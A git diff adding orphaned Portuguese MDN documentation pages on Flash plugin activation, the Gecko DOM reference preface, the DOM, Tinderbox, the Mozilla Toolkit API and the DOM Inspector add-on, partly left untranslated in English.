prompt the user to enable Flash. If a Flash element is not visible to the user, the user will not get a visible prompt.</p> + +<p>A user can click the information icon on the left side of the location bar on any site to open the site information and allow Flash on that site:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15145/Chrome-info-icon.png" style="height: 544px; width: 399px;"></p> + +<h3 id="Microsoft_Edge">Microsoft Edge</h3> + +<p>In-page UI is displayed when the site attempts to use Flash. An icon also appears on the right side of the location bar. The user can click the Flash object to show activation options:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15135/Edge-flash-inpage.png" style="height: 227px; width: 611px;"></p> + +<p>Users have the choice to allow Flash just for the current session, or to remember their choice:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15139/Edge-flash-inpage.png" style="height: 173px; width: 453px;"></p> + +<h2 id="Dicas_de_Elaboração_do_Site">Dicas de Elaboração do Site</h2> + +<p>If a Flash element is very small, hidden, or covered by other content, users will probably not notice that Flash is required and will become confused. Even if the plugin element will eventually be hidden, pages should create the plugin element so that it's visible on the page, and should resize or hide it only after the user has activated the plugin. This can be done by calling a JavaScript function when the plugin is activated:</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">pluginCreated</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// We don't need to see the plugin, so hide it by resizing</span> + <span class="keyword token">var</span> plugin <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'myPlugin'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + plugin<span class="punctuation token">.</span>height <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> + plugin<span class="punctuation token">.</span>width <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> + plugin<span class="punctuation token">.</span><span class="function token">callPluginMethod</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<p>The HTML, by default, specifies the Flash object to be a size that makes it visible, like this:</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="comment token"><!-- Give the plugin an initial size so it is visible --></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>object</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>application/x-shockwave-flash<span class="punctuation token">"</span></span> <span class="attr-name token">data</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myapp.swf<span class="punctuation token">"</span></span> + <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myPlugin<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>300<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>300<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>param</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>callback<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pluginCreated()<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>object</span><span class="punctuation token">></span></span></code></pre> + +<p>The <code>callback</code> parameter defined in the HTML can be called in Flash using its <code>flash.external.ExternalInterface</code> API.</p> + +<h3 id="Utilizar_um_callback_de_script_para_determinar_quando_um_plug-in_é_ativado">Utilizar um <em>callback</em> de <em>script</em> para determinar quando um plug-in é ativado</h3> + +<p>Similarly, a site's script shouldn't attempt to script a plugin immediately upon creation. Instead, the plugin object should call into a JavaScript function upon creation. That function can then issue the call into the plugin, knowing that everything is set up and ready to go.</p> + +<p>First, set your up your HTML with a callback that calls the JavaScript function <code>pluginCreated()</code>, like this:</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>object</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>application/x-my-plugin<span class="punctuation token">"</span></span> <span class="attr-name token">data</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>somedata.mytype<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myPlugin<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>param</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>callback<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pluginCreated()<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>object</span><span class="punctuation token">></span></span></code></pre> + +<p>The <code>pluginCreated()</code> function is then responsible for the setup of your script and any calls back into the plugin that you need to make:</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">pluginCreated</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'myPlugin'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">callPluginMethod</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> diff --git a/files/pt-pt/orphaned/referência_do_dom_gecko/prefácio/index.html b/files/pt-pt/orphaned/referência_do_dom_gecko/prefácio/index.html new file mode 100644 index 0000000000..f026443d93 --- /dev/null +++ b/files/pt-pt/orphaned/referência_do_dom_gecko/prefácio/index.html @@ -0,0 +1,51 @@ +--- +title: Prefácio +slug: Referência_do_DOM_Gecko/Prefácio +tags: + - Referência_do_DOM_Gecko +--- +<p>{{ ApiRef() }}</p> +<h3 id="Sobre_Esta_Refer.C3.AAncia" name="Sobre_Esta_Refer.C3.AAncia">Sobre Esta Referência</h3> +<p>Esta seção descreve o próprio guia: a quem se destina, como a informação está representada, e como você pode usar os exemplos desta referência para seu próprio desenvolvimento de DOM.</p> +<p>Note que este documento está sob desenvolvimento, e atualmente não é uma listagem completa das propriedades e métodos do DOM implementados para o Gecko. No entanto, cada seção individual do documento (por exemplo, o <a href="pt/DOM/document">DOM Document Reference</a>) está completa para o(s) objeto(s) que descreve. Ao passo que as informações de referência para os vários membros das enormes APIs tornam-se disponíveis, elas são integradas neste documento.</p> +<h3 id="Quem_Deveria_Ler_Este_Guia" name="Quem_Deveria_Ler_Este_Guia">Quem Deveria Ler Este Guia</h3> +<p>O leitor do <a href="pt/Gecko_DOM_Reference">Gecko DOM Reference</a> é um desenvolvedor web ou um usuário entusiasta que sabe algo sobre como as páginas de internet são construídas. Esta referência evitar fazer presunções sobre a familiaridade do leitor com o DOM, com <a href="pt/XML">XML</a>, com servidores web ou padrões web, e mesmo com <a href="pt/JavaScript">JavaScript</a>, a linguagem na qual o DOM se torna acessível para o leitor. Mas o documento pressupõe familiaridade com <a href="pt/HTML">HTML</a>, com marcações, com a estrutura básica de páginas de internet, com navegadores e com folhas de estilo.</p> +<p>Aqui está presente o material introdutório, com muitos exemplos, e explicações de alto nível devem ser valiosas tanto para os desenvolvedores web inexperientes quanto para os experientes, e não é apenas um guia de desenvolvimento web para "iniciantes". Em geral, contudo, é um manual de referência da API que está evoluindo.</p> +<h3 id="O_Que_.C3.89_Gecko.3F" name="O_Que_.C3.89_Gecko.3F">O Que É Gecko?</h3> +<p>Mozilla, Firefox, Netscape 6+, e outros navegadores baseados no Mozilla tem implementações idênticas do DOM. Isto é porque eles usam a mesma tecnologia.<span class="comment">naturally, it applies only to products based on the same version of Gecko, but it's tricky to explain</span></p> +<p>Gecko, o componente de software destes navegadores que manipula a análise do HTML, o layout das páginas, o modelo de objeto do documento, e mesmo a renderização da interface da aplicação inteira, é um componente renderizador, rápido, condizente com padrões, que implementa os padrões da W3C e similares (mas não padronizados) para o modelo de objeto de navegador (por exemplo, <a href="pt/DOM/window"><code>window</code></a> et al) no contexto de páginas de internet e interfaces de aplicações, ou + <i> + chrome</i> + , do navegador.</p> +<p>Embora a interface de aplicação e o conteúdo mostrado na tela pelo navegador são diferentes de várias maneiras possíveis, o DOM os dispõe uniformemente como uma hierarquia de nós. <span class="comment">(commenting this incomplete sentence out for now...) The tree structure of the DOM (which in its application to the user</span></p> +<h3 id="Sintaxe_da_API" name="Sintaxe_da_API">Sintaxe da API</h3> +<p>Cada descrição na referência da API inclui a sintaxe, os parâmetros de entrada e saída (onde o tipo de retorno é dado), um exemplo, quaisquer notas adicionais, e um link para a especificação apropriada.</p> +<p>Tipicamente, propriedades somente para leitura têm uma única linha de sintaxe, porque não é possível atribuir-lhes valor, essas propriedades podem apenas ser acessadas. Por exemplo, a propriedade somente para leitura <code>availHeight</code> do objeto <code>screen</code> tem a seguinte a seguinte informação de sintaxe:</p> +<div> + <img alt="Image:Preface2.gif"></div> +<p>Isto significa que você somente pode usar a propriedade do lado direito da sentença; enquanto com propriedades de leitura e escrita, você pode atribuir um valor à propriedade, como o seguinte exemplo de sintaxe ilustra:</p> +<div> + <img alt="Image:Prefacea.gif"></div> +<p>Em geral, o objeto cujo membro está sendo descrito é dado na sentença sintática por um tipo simples, por exemplo, <code>element</code> para todos os elementos, <code>document</code> para o objeto de documento de nível mais alto, <code>table</code> para o objeto tabela, e assim por diante (veja <a href="pt/Gecko_DOM_Reference/Introduction#Important_Data_Types">Tipos de dados importantes</a> para maiores informações sobre os tipos de dados).</p> +<h3 id="Usando_os_exemplos" name="Usando_os_exemplos">Usando os exemplos</h3> +<p>Muitos dos exemplos que se encontram nesta referência são arquivos completos que você pode executar apenas copiando e colando em um novo arquivo e abrindo com o seu navegador. Outros são trechos de código. Você pode executar estes últimos colocando-os dentro de funções de chamada em JavaScript. Por exemplo, o exemplo para a propriedade <a href="pt/DOM/window.document">window.document</a> pode ser testada dentro de uma função como seguinte, que é chamada pelo botão:</p> +<pre><html> + +<script> +function testWinDoc() { + + doc= window.document; + + alert(doc.title); + +} +</script> + +<button onclick="testWinDoc();">Testar propriedade do document</button> + +</html> +</pre> +<p>Funções e páginas similares podem ser concebidas para todos os membros do objeto que todavia não estão prontos para uso imediato. Veja a introdução da seção <a href="pt/Gecko_DOM_Reference/Introduction#Testing_the_DOM_API">Testando a API do DOM</a> para uma bateria de testes que você pode usar para testar de uma vez uma série de APIs.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "es": "es/Referencia_DOM_de_Gecko/Prefacio", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Pr\u00e9face", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}</p> diff --git a/files/pt-pt/orphaned/referência_jsdbgapi/index.html b/files/pt-pt/orphaned/referência_jsdbgapi/index.html new file mode 100644 index 0000000000..c965649379 --- /dev/null +++ b/files/pt-pt/orphaned/referência_jsdbgapi/index.html @@ -0,0 +1,22 @@ +--- +title: Referência JSDBGAPI +slug: Referência_JSDBGAPI +tags: + - JavaScript + - Referência_JSDBGAPI + - SpiderMonkey + - Todas_as_Categorias +--- +<p> </p> + +<p><a href="pt/Refer%c3%aancia_JSDBGAPI/Lista_Alfab%c3%a9tica">Lista Alfabética</a></p> + +<h3 id="Estruturas_de_Dados" name="Estruturas_de_Dados">Estruturas de Dados</h3> + +<h3 id="Fun.C3.A7.C3.B5es" name="Fun.C3.A7.C3.B5es">Funções</h3> + +<h3 id="Macros" name="Macros">Macros</h3> + +<h3 id="Desaprovado" name="Desaprovado">Desaprovado</h3> + +<h3 id="Condicionantes_de_pr.C3.A9-processador" name="Condicionantes_de_pr.C3.A9-processador">Condicionantes de pré-processador</h3> diff --git a/files/pt-pt/orphaned/sobre_o_document_object_model/index.html b/files/pt-pt/orphaned/sobre_o_document_object_model/index.html new file mode 100644 index 0000000000..015c14ffc8 --- /dev/null +++ b/files/pt-pt/orphaned/sobre_o_document_object_model/index.html @@ -0,0 +1,26 @@ +--- +title: Sobre o Document Object Model +slug: Sobre_o_Document_Object_Model +tags: + - DOM + - Todas_as_Categorias +--- +<h3 id="O_que_.C3.A9_o_DOM.3F" name="O_que_.C3.A9_o_DOM.3F">O que é o DOM?</h3> + +<p>O <a href="pt/DOM">Document Object Model</a> é uma API para documentos <a href="pt/HTML">HTML</a> e <a href="pt/XML">XML</a>. Isto proporciona uma representação estrutural de um documento, habilitando você a modificar seu conteúdo e apresentação visual. Essencialmente, isto conecta páginas web à<em>scripts</em> ou linguagens de programação.</p> + +<p>Todas as propriedades, métodos, e eventos disponíveis para o desenvolvimento web para manipulação e criação de páginas web são organizados dentro dos <a href="pt/Gecko_DOM_Reference">objetos</a> (e.g., o documento objeto que representa o documento por si mesmo, a tabela objeto que representa a tabela de elementos HTML, e assim por diante). Estes objetos são acessíveis via linguagens de<em>scripts</em> nos mais recentes navegadores web.</p> + +<p>O DOM é normalmente o mais usado em conjunto com o <a href="pt/JavaScript">JavaScript</a>. Que é, o código é escrito em JavaScript, mas usa o DOM para acessar a página web e seus elementos. Entretanto, o DOM foi desenhado para ser independente de qualquer linguagem de programação particular, fazendo a representação estrutural do documento disponível em uma simples, API consistente. Embora nosso foco no JavaScript por todo este site, implementações do DOM podem ser construídas para <a class="external" href="http://www.w3.org/DOM/Bindings">qualquer linguagem</a>.</p> + +<p>O <a class="external" href="http://www.w3.org/">World Wide Web Consortium</a> estabelece um <a class="external" href="http://www.w3.org/DOM/">padrão para o DOM</a>, chamado o W3C DOM. Deve, agora que os mais importantes navegadores implementaram isto corretamente, ativar poderosas aplicações multi navegadores.</p> + +<h3 id="Por_que_o_suporte_DOM_no_Mozilla_.C3.A9_importante.3F" name="Por_que_o_suporte_DOM_no_Mozilla_.C3.A9_importante.3F">Por que o suporte DOM no Mozilla é importante?</h3> + +<p>"HTML Dinâmico" (<a href="pt/DHTML">DHTML</a>) é um termo usado por alguns vendedores para descrever a combinação do HTML, folhas de estilo e<em>scripts</em> que permitem aos documentos serem animados. O Grupo de Trabalho W3C DOM está trabalhando duro para certificar-se da solução de interoperabilidade e linguagem-neutra sejam aceitos (veja também o <a class="external" href="http://www.w3.org/DOM/faq.html">W3C FAQ</a>). Como o Mozilla reivindica o título de "Plataforma de Aplicação Web", suporte para o DOM é uma das características mais requisitadas, e uma necessária se o Mozilla deseja se tornar uma alternativa viável para outros navegadores.</p> + +<p>Ainda mais importante é o fato de que a interface de usuário do Mozilla (também Firefox e Thunderbird) é construída usando XUL -- uma linguagem XML de interface de usuário. Então Mozilla usa o DOM para <a href="pt/Dynamically_modifying_XUL-based_user_interface">manipular seu próprio UI</a>.</p> + +<p><span class="comment">Categorias</span></p> + +<p><span class="comment">Interwiki Language Links</span></p> diff --git a/files/pt-pt/orphaned/tinderbox/index.html b/files/pt-pt/orphaned/tinderbox/index.html new file mode 100644 index 0000000000..d0c041ec2e --- /dev/null +++ b/files/pt-pt/orphaned/tinderbox/index.html @@ -0,0 +1,31 @@ +--- +title: Tinderbox +slug: Tinderbox +tags: + - Desenvolvimento_Mozilla + - 'Desenvolvimento_Mozilla:Ferramentas' + - Ferramentas + - Todas_as_Categorias +--- +<p> </p> + +<p>Tinderbox é uma ferramenta web que os desenvolvedores Mozilla usam para checar se o código CVS corrente compila e passa nos testes funcionais básicos.</p> + +<p>Árvores disponíveis:</p> + +<ul> + <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=Firefox">Firefox</a></li> + <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=Thunderbird">Thunderbird</a></li> + <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=XULRunner">XULRunner</a></li> + <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=SeaMonkey">SeaMonkey</a></li> + <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=Camino">Camino</a></li> + <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi">Outras páginas tinderbox</a></li> +</ul> + +<p>Mozilla roda a configuração de computadores ("Tinderboxen") que continuamente constrói o código fonte mais recente; a ferramenta web tinderbox mostra o estado destas construções. Use as tabelas dela para encontrar o estado da fonte da árvore para a plataforma, produto, e galhos de código que você esteja interessado. Se isto for verde, significa que o último teste de código CVS compilado passou nos testes de fumo. Se for vermelho, isto falhou, e sua construção possivelmente falhará também.</p> + +<p>A ferramenta web tinderbox reporta os resultados de vários <a class="external" href="http://wiki.mozilla.org/Performance:Tinderbox_Tests">testes de performance (inglês)</a> como Tp ou Txul. Os desenvolvedores Mozilla frequentemente checam estes números para observar o efeito de mudanças de código na performance; uma mudança que é suficiente para diminuir a performance e pode ser descartada.</p> + +<p><span class="comment">Categorias</span></p> + +<p><span class="comment">Interwiki Language Links</span></p> diff --git a/files/pt-pt/orphaned/toolkit_api/index.html b/files/pt-pt/orphaned/toolkit_api/index.html new file mode 100644 index 0000000000..baf0ea793e --- /dev/null +++ b/files/pt-pt/orphaned/toolkit_api/index.html @@ -0,0 +1,12 @@ +--- +title: Toolkit API +slug: Toolkit_API +--- +<p>O <b>Mozilla Toolkit</b>, ou em português, a caixa de ferramentas Mozilla, é um conjunto de interfaces de programação (APIs) construídos com base no <a href="pt/Gecko">Gecko</a> que fornece serviços avançados a aplicações XUL. Estes serviços incluem: +</p><p>Gestão de Perfil; +Registo Chrome; +Histórico de Navegação; +Gestão de Extensões e de Temas; +Serviço de Actualização de Aplicações; +Modo de Segurança; +</p> diff --git a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html new file mode 100644 index 0000000000..a8f1e36178 --- /dev/null +++ b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html @@ -0,0 +1,67 @@ +--- +title: Inspetor de DOM +slug: DOM_Inspector +tags: + - 'DOM:Ferramentas' + - Desenvolvimento_Web + - 'Desenvolvimento_Web:Ferramentas' + - 'Extensões:Ferramentas' + - Ferramentas + - PrecisaDeRevisãoTécnica + - Temas + - 'Temas:Ferramentas' + - Todas_as_Categorias + - 'XUL:Ferramentas' +translation_of: Tools/Add-ons/DOM_Inspector +--- +<div>{{ToolsSidebar}}</div><p>O <strong>Inspector DOM </strong>(também conhecido como <strong>DOMi</strong>) é uma ferramenta de programação utilizada para inspecionar, navegar, e editar <a href="/en/DOM" title="en/DOM">Document Object Model</a> of documents - usually web pages or <a href="/en/XUL" title="en/XUL">XUL</a> windows. The DOM hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.</p> + +<div class="note"> +<p>This tool is an add-on for XUL-based applications such as Firefox and Thunderbird. If you are looking for the DOM inspector that's built into Firefox, see the documentation for the <a href="/en-US/docs/Tools/Page_Inspector">Page Inspector</a>. </p> +</div> + +<h2 id="Documentation" name="Documentation">Documentação</h2> + +<dl> + <dt><a href="/pt-PT/docs/DOM_Inspector/Introduction_to_DOM_Inspector" title="en/DOM_Inspector/Introduction_to_DOM_Inspector">Introduction to DOM Inspector</a></dt> + <dd>A guided tutorial that will help you get started with DOM Inspector.</dd> +</dl> + +<dl> + <dt><a href="/en/DOM_Inspector/DOM_Inspector_FAQ" title="en/DOM_Inspector/DOM_Inspector_FAQ">Perguntas Mais Frequentes do Inspetor de DOM</a></dt> + <dd>Answers to common questions on DOM Inspector.</dd> +</dl> + +<dl> + <dt><a class="external" href="http://kb.mozillazine.org/DOM_Inspector">Página do Inspetor de Inspector em MozillaZine</a> (EN)</dt> + <dd>Mais informação sobre o Inspetor de DOM.</dd> + <dt><a href="http://asurkov.blogspot.com/2013/02/build-dom-inspector.html">Como criar o Inspetor de DOM</a><a href="http://asurkov.blogspot.com/2013/02/build-dom-inspector.html"> </a>(EN)</dt> + <dd>Blog post on building the DOM Inspector from source.</dd> +</dl> + +<h2 id="Getting_DOM_Inspector" name="Getting_DOM_Inspector">Obter o Inspetor de DOM</h2> + +<dl> + <dt>Firefox & Thunderbird</dt> + <dd>You may download and install the <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" title="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a> from the AMO web site. (Thunderbird users browsing AMO in Firefox should save the installation link, or visit the <a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/addon/6622" title="https://addons.mozilla.org/en-US/thunderbird/addon/6622">DOM Inspector for Thunderbird</a> page.)</dd> +</dl> + +<dl> + <dt>Thunderbird 2</dt> + <dd><a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/addon/1806">DOM Inspector for Thunderbird 2</a> is available from <a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/">Thunderbird Add-ons</a>. Or, build Thunderbird yourself with the following options:</dd> +</dl> + +<pre>ac_add_options --enable-extensions="default inspector" +ac_add_options --enable-inspector-apis +</pre> + +<dl> + <dt>Mozilla Suite and SeaMonkey</dt> + <dd>Select Tools > Web Development > DOM Inspector. You can install the Sidebar panel via Edit > Preferences > Advanced > DOM Inspector, then simply open up the inspector panel and visit a website.</dd> +</dl> + +<h2 id="Report_a_bug_in_DOM_Inspector" name="Report_a_bug_in_DOM_Inspector">Comunicar um erro no Inspetor de DOM</h2> + +<p>Use the conveniently named <a href="https://bugzilla.mozilla.org/enter_bug.cgi?format=__default__&product=Other%20Applications&component=DOM%20Inspector">"DOM Inspector" component in Bugzilla</a>.</p> + +<p>To find out who knows <a href="https://hg.mozilla.org/dom-inspector" title="https://hg.mozilla.org/dom-inspector">DOM Inspector code</a> and where it lives, see the <a class="link-https" href="https://wiki.mozilla.org/Modules/All#DOM_Inspector" title="https://wiki.mozilla.org/Modules/All#DOM_Inspector"><span class="external">DOM Inspector module listing</span></a>.</p> diff --git a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html new file mode 100644 index 0000000000..bacdb4c4c2 --- /dev/null +++ b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html @@ -0,0 +1,92 @@ +--- +title: Introdução ao Inspetor de DOM +slug: DOM_Inspector/Introduction_to_DOM_Inspector +translation_of: Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector +--- +<div>{{ToolsSidebar}}</div><p>O 'Inspetor de DOM' é uma extensão da Mozilla que pode aceder no menu <strong>Ferramentas > Desenvolvimento da Web no </strong>SeaMonkey, ou selecionar o item de menu do 'Inspetor de DOM' no menu das 'Ferramentas' no Firefox e Thunderbird, ou utilizar Ctrl/Cmd+Shift+I numa das aplicações. DOM Inspector is standalone; it supports all toolkit applications, and it's possible to embed it in your own XULRunner app. DOM Inspector can serve as a sanity check to verify the state of the <a href="/en/DOM" title="en/DOM">DOM</a>, or it can be used to manipulate the DOM by hand, if desired.</p> + +<div class="note"><strong>Note:</strong> Starting with Firefox 3, the DOM Inspector is not included in Firefox by default; instead, you must <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" title="https://addons.mozilla.org/en-US/firefox/addon/6622">download and install it</a> from the Mozilla add-ons web site.</div> + +<p>When you first start the DOM Inspector, you are presented with a two-pane application window that looks a little like the main Mozilla browser. Like the browser, the DOM Inspector includes an address bar, and some of the same menus. In SeaMonkey additional global menus will be available.</p> + +<p><img alt="domi.png" class="default internal" src="/@api/deki/files/4684/=domi.png"></p> + +<h2 id="Inspecionar_um_Documento">Inspecionar um Documento</h2> + +<p>When the DOM Inspector opens, it may or may not load an associated document, depending on the host application. If the DOM Inspector doesn't automatically load a document or loads a document other than the one you'd like to inspect, you can select the desired document a few different ways.</p> + +<h3 id="File_.3E_Inspect_a_Window_.3E" name="File_.3E_Inspect_a_Window_.3E">Inspecionar Documentos de Conteúdo</h3> + +<p>The Inspect Content Document menupopup can be accessed from the File menu, and it will list currently loaded content documents. In Firefox and SeaMonkey browser, these will be the webpages you have opened in tabs. For Thunderbird and SeaMonkey Mail and News, any messages you're viewing will be listed here.<img alt="domi-inspect-content-popup.png" class="default internal" src="/@api/deki/files/4690/=domi-inspect-content-popup.png"></p> + +<h3 id="File_.3E_Inspect_a_Window_.3E" name="File_.3E_Inspect_a_Window_.3E">Inspecionar Documentos do Chrome</h3> + +<p>The Inspect Chrome Document menupopup can be accessed from the File menu , and it will contain the list of currently loaded chrome windows and subdocuments. A browser window and the DOM Inspector are likely be already open and displayed in this list. The DOM Inspector keeps track of all the windows that are open, so to inspect the DOM of a particular window in the DOM Inspector, simply access that window as you would normally and then choose its title from this dynamically updated menulist.</p> + +<p><img alt="domi-inspect-chrome-popup.png" class="default internal" src="/@api/deki/files/4689/=domi-inspect-chrome-popup.png"></p> + +<h3 id="File_.3E_Inspect_a_URL..." name="File_.3E_Inspect_a_URL...">Inspecionar URLs arbitrários</h3> + +<p>You may also inspect the DOM of arbitrary URLs by using the Inspect a URL menuitem in the File menu, or by just entering a URL into the DOM Inspector's address bar and clicking Inspect or pressing enter. For example, you can enter <a class="external" href="http://www.mozilla.org" rel="freelink">http://www.mozilla.org</a> in the address bar and see the DOM structure of the mozilla.org home page.</p> + +<p>You <strong>should not</strong> use this approach to inspect chrome documents. Instead, ensure that the document loads via normal means and use the Inspect Chrome Document menupopup to select it for inspection.</p> + +<p><img alt="domi-inspect-chrome-popup.png" class="default internal" src="/@api/deki/files/4693/=domi-inspecting-mozilla.org.png"></p> + +<p>When you inspect a web page with this method, a browser pane at the bottom of the DOM Inspector window will open up, displaying the web page. This allows you to use the DOM Inspector without having to use a separate browser window, or without embedding a browser in your application at all. If you find that the browser pane takes up too much space, you may close it, but you will not be able to observe any of the visual consequences of your actions.</p> + +<h2 id="Using_the_DOM_Inspector" name="Using_the_DOM_Inspector">Utilizar o Inspetor de DOM</h2> + +<p>Once you've opened the document for the page or chrome you are interested in, you'll see that it loads the DOM Nodes viewer in the document pane and the DOM Node viewer in the object pane. In the DOM Nodes viewer, there should be a structured, hierarchical view of the DOM. By clicking around in the document pane, you'll see that the viewers are linked; whenever you select a new node from the DOM Nodes viewer, the DOM Node viewer is automatically updated to reflect the information for that node. Linked viewers are the first major aspect to understand when learning how to use the DOM Inspector.</p> + +<h3 id="DOM_Inspector_Information_Types" name="DOM_Inspector_Information_Types">Visualizadores do Inspetor de DOM</h3> + +<p>Note that these viewers are just two viewers that the DOM Inspector provides. It's possible to use other viewers, but for now we'll stick to describing the DOM Nodes viewer and the DOM Node viewer.</p> + +<p>You can use the DOM Nodes viewer in the document pane of the DOM Inspector to find and inspect nodes you are interested in. One of the biggest and most immediate advantages that this brings to your web and application development is that it makes it possible to <em>find</em> the markup and the nodes in which the interesting parts of a page or a piece of the user interface are defined. One common use of the DOM Inspector is to find the name and location of particular icon being used in the user interface, which is not an easy task otherwise. If you're inspecting a chrome document, as you select nodes in the DOM Nodes viewer, the rendered versions of those nodes are highlighted in the user interface itself. (Note that there are bugs which prevent the flasher from DOM Inspector APIs from working correctly on certain platforms.)</p> + +<p>If you inspect the main browser window, for example, and select nodes in the DOM Nodes viewer (other than the elements which have no visible UI as is the case with the endless list of <code>script</code> elements that are loaded into <code>browser.xul</code>), you will see the various parts of the browser interface being highlighted with a blinking red border. You can traverse the structure and go from the topmost parts parts of the DOM tree to lower level nodes, such as the "search-go-button" icon that lets users perform a query using the selected search engine.</p> + +<p><img alt="domi-edit-search-onclick.png" class="default internal" src="/@api/deki/files/4686/=domi-edit-search-onclick.png"></p> + +<p>Now, once you have selected a node like the "search-go-button" node, you can select any one of several viewers to display information about that node in the object pane of the DOM Inspector application window, all of which are available from the menupopup accessed from the upper left corner of the the object pane.</p> + +<p><img alt="domi-object-viewers.png" class="default internal" src="/@api/deki/files/4692/=domi-object-viewers.png"></p> + +<p>In order to find out what the actual name of the file is being used to provide the search go icon, you can select the CSS Rules viewer from this menu and see the various selectors and rules that have been applied. The rule that applies the search icon to the element uses a class simple selector and uses a <code>list-style-image</code> property to point to a file in the current theme.</p> + +<p>The list of viewers available from the viewer menu gives you some idea about how extensive the DOM Inspector's inspecting capabilities are. The following descriptions provide an overview of what these viewers are about:</p> + +<p>The DOM Nodes viewer shows attributes of nodes that can take them, or the text content of text nodes, comments, and processing instructions. The attributes and text contents may also be edited.</p> + +<p>The Box Model viewer gives various metrics about XUL and HTML elements, including placement and size.</p> + +<p>The XBL Bindings viewer lists the XBL bindings attached to elements. If a binding extends another binding, the binding menulist will list them in descending order to to "root" binding.</p> + +<p>The CSS Rules viewer shows the CSS rules that are applied to the node. Alternatively, when used in conjunction with the Style Sheets viewer, the CSS Rules viewer lists all recognized rules from that style sheet in order. Properties may be also be edited. Rules applying to pseudo-elements do not appear.</p> + +<p>The JavaScript Object viewer gives a hierarchical tree of the object pane's subject. The JavaScript Object viewer also allows JavaScript to be evaluated by selecting the appropriate menuitem in the context menu.</p> + +<h3 id="Ações_básicas_do_visualizador_de_Nodos_de_DOM">Ações básicas do visualizador de Nodos de DOM</h3> + +<h4 id="Selecionar_elementos_com_clique">Selecionar elementos, com clique</h4> + +<p>Another powerful interactive feature of the DOM Inspector is that when you have the DOM Inspector open and have enabled this functionality by choosing <strong style="font-weight: bold;">Edit</strong><strong> > Select Element by Click</strong> or by clicking the little magnifying glass icon 